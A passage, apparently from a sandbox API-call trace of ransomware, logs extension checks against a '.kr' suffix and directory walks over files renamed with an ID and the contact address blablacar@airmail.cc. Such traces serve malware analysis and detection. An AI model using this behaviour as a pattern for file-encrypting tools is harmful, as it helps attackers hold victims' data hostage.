lstrlenW (lpString=".pl") returned 3 [0174.831] lstrcmpiW (lpString1=".pl", lpString2=".kr") returned 1 [0174.831] lstrlenW (lpString=".pls") returned 4 [0174.831] lstrcmpiW (lpString1=".pls", lpString2="].kr") returned -1 [0174.831] lstrlenW (lpString=".pm") returned 3 [0174.831] lstrcmpiW (lpString1=".pm", lpString2=".kr") returned 1 [0174.831] lstrlenW (lpString=".png") returned 4 [0174.831] lstrcmpiW (lpString1=".png", lpString2="].kr") returned -1 [0174.831] lstrlenW (lpString=".pnm") returned 4 [0174.831] lstrcmpiW (lpString1=".pnm", lpString2="].kr") returned -1 [0174.831] lstrlenW (lpString=".pot") returned 4 [0174.831] lstrcmpiW (lpString1=".pot", lpString2="].kr") returned -1 [0174.831] lstrlenW (lpString=".potm") returned 5 [0174.831] lstrcmpiW (lpString1=".potm", lpString2="c].kr") returned -1 [0174.831] lstrlenW (lpString=".potx") returned 5 [0174.831] lstrcmpiW (lpString1=".potx", lpString2="c].kr") returned -1 [0174.831] lstrlenW (lpString=".ppa") returned 4 [0174.832] lstrcmpiW (lpString1=".ppa", lpString2="].kr") returned -1 [0174.832] lstrlenW (lpString=".ppam") returned 5 [0174.832] lstrcmpiW (lpString1=".ppam", lpString2="c].kr") returned -1 [0174.832] lstrlenW (lpString=".ppm") returned 4 [0174.832] lstrcmpiW (lpString1=".ppm", lpString2="].kr") returned -1 [0174.832] lstrlenW (lpString=".pps") returned 4 [0174.832] lstrcmpiW (lpString1=".pps", lpString2="].kr") returned -1 [0174.832] lstrlenW (lpString=".ppsm") returned 5 [0174.832] lstrcmpiW (lpString1=".ppsm", lpString2="c].kr") returned -1 [0174.832] lstrlenW (lpString=".ppt") returned 4 [0174.832] lstrcmpiW (lpString1=".ppt", lpString2="].kr") returned -1 [0174.832] lstrlenW (lpString=".pptm") returned 5 [0174.832] lstrcmpiW (lpString1=".pptm", lpString2="c].kr") returned -1 [0174.832] lstrlenW (lpString=".pptx") returned 5 [0174.832] lstrcmpiW (lpString1=".pptx", lpString2="c].kr") returned -1 [0174.832] lstrlenW (lpString=".prn") returned 4 [0174.832] lstrcmpiW (lpString1=".prn", lpString2="].kr") returned -1 [0174.832] lstrlenW (lpString=".ps") returned 3 [0174.832] lstrcmpiW (lpString1=".ps", lpString2=".kr") returned 1 [0174.832] lstrlenW (lpString=".psb") returned 4 [0174.832] lstrcmpiW (lpString1=".psb", lpString2="].kr") returned -1 [0174.832] lstrlenW (lpString=".psd") returned 4 [0174.832] lstrcmpiW (lpString1=".psd", lpString2="].kr") returned -1 [0174.832] lstrlenW (lpString=".pst") returned 4 [0174.832] lstrcmpiW (lpString1=".pst", lpString2="].kr") returned -1 [0174.832] lstrlenW (lpString=".ptx") returned 4 [0174.832] lstrcmpiW (lpString1=".ptx", lpString2="].kr") returned -1 [0174.832] lstrlenW (lpString=".pub") returned 4 [0174.832] lstrcmpiW (lpString1=".pub", lpString2="].kr") returned -1 [0174.832] lstrlenW (lpString=".pwm") returned 4 [0174.832] lstrcmpiW (lpString1=".pwm", lpString2="].kr") returned -1 [0174.832] lstrlenW (lpString=".pxr") returned 4 [0174.832] lstrcmpiW (lpString1=".pxr", lpString2="].kr") returned -1 [0174.832] FindNextFileW (in: hFindFile=0x43a640, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc2dcf9c0, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc2dcf9c0, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc2df5c2f, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x122e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0174.833] FindNextFileW (in: hFindFile=0x43a640, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc57166e9, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc57166e9, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc57166e9, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 1 [0174.833] FindNextFileW (in: hFindFile=0x43a640, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc57166e9, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc57166e9, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc57166e9, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 0 [0174.833] FindClose (in: hFindFile=0x43a640 | out: hFindFile=0x43a640) returned 1 [0174.834] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3cc0080 | out: hHeap=0x420000) returned 1 [0174.834] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc3f3f362, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc3f3f362, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1028", cAlternateFileName="")) returned 1 [0174.834] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3cc0080 [0174.834] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc3f3f362, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc3f3f362, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x43a640 [0174.836] FindNextFileW (in: hFindFile=0x43a640, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc3f3f362, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc3f3f362, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.836] FindNextFileW (in: hFindFile=0x43a640, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc2df5c2f, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc2df5c2f, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc2df5c2f, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x1994, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0174.836] FindNextFileW (in: hFindFile=0x43a640, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc3f3f362, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc3f3f362, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc3f3f362, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xee96, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0174.836] FindNextFileW (in: hFindFile=0x43a640, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc573c973, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc573c973, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc573c973, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 1 [0174.836] FindNextFileW (in: hFindFile=0x43a640, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc573c973, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc573c973, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc573c973, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 0 [0174.836] FindClose (in: hFindFile=0x43a640 | out: hFindFile=0x43a640) returned 1 [0174.837] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3cc0080 | out: hHeap=0x420000) returned 1 [0174.837] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc41349b2, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc41349b2, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1029", cAlternateFileName="")) returned 1 [0174.837] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3cc0080 [0174.837] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc41349b2, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc41349b2, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x43a340 [0174.839] FindNextFileW (in: hFindFile=0x43a340, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc41349b2, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc41349b2, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.839] FindNextFileW (in: hFindFile=0x43a340, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc3e33e85, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc3e33e85, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc3e33e85, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xf74, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0174.839] FindNextFileW (in: hFindFile=0x43a340, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc3e59f4a, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc3e59f4a, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc3e59f4a, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x13d46, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0174.839] FindNextFileW (in: hFindFile=0x43a340, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc587d738, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc587d738, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc587d738, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 1 [0174.840] FindNextFileW (in: hFindFile=0x43a340, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc587d738, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc587d738, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc587d738, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 0 [0174.840] FindClose (in: hFindFile=0x43a340 | out: hFindFile=0x43a340) returned 1 [0174.840] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3cc0080 | out: hHeap=0x420000) returned 1 [0174.840] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc4809acc, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc4809acc, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1030", cAlternateFileName="")) returned 1 [0174.840] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3cc0080 [0174.840] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc4809acc, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc4809acc, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x43a340 [0174.842] FindNextFileW (in: hFindFile=0x43a340, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc4809acc, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc4809acc, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.842] FindNextFileW (in: hFindFile=0x43a340, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc41349b2, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc41349b2, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc41a25fd, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xde4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0174.842] FindNextFileW (in: hFindFile=0x43a340, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc41d101a, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc41d101a, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc4213c94, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x130b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0174.843] FindNextFileW (in: hFindFile=0x43a340, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc5b9eb0e, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc5b9eb0e, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5b9eb0e, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 1 [0174.843] FindNextFileW (in: hFindFile=0x43a340, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc5b9eb0e, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc5b9eb0e, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5b9eb0e, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 0 [0174.843] FindClose (in: hFindFile=0x43a340 | out: hFindFile=0x43a340) returned 1 [0174.844] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3cc0080 | out: hHeap=0x420000) returned 1 [0174.844] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc46b24de, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc46b24de, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1031", cAlternateFileName="")) returned 1 [0174.844] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3cc0080 [0174.844] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc46b24de, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc46b24de, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x43a340 [0174.845] FindNextFileW (in: hFindFile=0x43a340, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc46b24de, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc46b24de, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.846] FindNextFileW (in: hFindFile=0x43a340, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc4666a7a, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc4666a7a, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc4666a7a, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xe44, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0174.846] FindNextFileW (in: hFindFile=0x43a340, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc468c361, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc468c361, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc46b24de, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x142a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0174.846] FindNextFileW (in: hFindFile=0x43a340, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc5bc4c7a, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc5bc4c7a, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5bc4c7a, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 1 [0174.846] FindNextFileW (in: hFindFile=0x43a340, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc5bc4c7a, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc5bc4c7a, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5bc4c7a, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 0 [0174.846] FindClose (in: hFindFile=0x43a340 | out: hFindFile=0x43a340) returned 1 [0174.847] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3cc0080 | out: hHeap=0x420000) returned 1 [0174.847] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc4855f46, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc4855f46, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1032", cAlternateFileName="")) returned 1 [0174.847] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3cc0080 [0174.847] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc4855f46, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc4855f46, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x43a340 [0174.848] FindNextFileW (in: hFindFile=0x43a340, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc4855f46, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc4855f46, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.849] FindNextFileW (in: hFindFile=0x43a340, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc4809acc, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc4809acc, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc482fc22, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x2394, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0174.849] FindNextFileW (in: hFindFile=0x43a340, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc482fc22, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc482fc22, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc4855f46, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x15206, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0174.849] FindNextFileW (in: hFindFile=0x43a340, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc5bc4c7a, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc5bc4c7a, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5ddacff, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 1 [0174.849] FindNextFileW (in: hFindFile=0x43a340, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc5bc4c7a, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc5bc4c7a, 